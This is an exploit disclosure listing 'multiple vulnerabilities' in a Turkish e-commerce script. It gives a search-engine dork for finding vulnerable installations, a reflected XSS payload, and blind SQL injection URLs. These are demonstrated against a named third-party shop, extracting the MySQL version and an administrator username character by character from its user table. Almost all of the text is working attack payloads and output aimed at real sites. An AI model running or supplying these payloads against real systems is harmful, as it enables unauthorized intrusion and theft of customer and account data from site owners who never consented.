+] Script(s) : E-Ticaret Scripti v1-v2-v2a-v2c-v3 - Multiple Vulnerabilities
|
[+] Demo(s)
|
|-----[-] v1 : http://eticaret.scriptevi.com [179,00 TL]
|-----[-] v2 : http://eticaretv2.scriptevi.com [299,00 TL]
|-----[-] v2a : http://eticaretv2a.scriptevi.com [229,00 TL]
|-----[-] v2c : http://eticaretv2c.scriptevi.com [299,00 TL]
|-----[-] v3 : http://eticaretv3.scriptevi.com [399,00 TL]
|
[+] Dork : inurl:/urun/liste/yeniler/ + intitle:"En Yeni Ürünler"
|
[+] XSS : site.com/arama/?aranan="><script>alert("XSS")</script>
|
|-----[-] Demo : http://www.hobierotikshop.com/sexshop/arama/?aranan="><script>alert("Inject!")</script>
|
[+] Blind SQLi : site.com/kategori/$id+and+1=2
|
|-----[-] Demo : http://www.hobierotikshop.com/sexshop/kategori/40+and+1=2
|
|-----[-] Exp. : http://www.hobierotikshop.com/sexshop/kategori/40+and+substring(version(),1,1)=4 <false>
http://www.hobierotikshop.com/sexshop/kategori/40+and+substring(version(),1,1)=5 <true> Mysql Version=5
/kategori/40+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),1,1))>97 ->>> a
/kategori/40+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),2,1))>100 ->>> d
/kategori/40+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),3,1))>109 ->>> m
/kategori/40+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),4,1))>105 ->>> i
/kategori/40+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),5,1))>110 ->>> n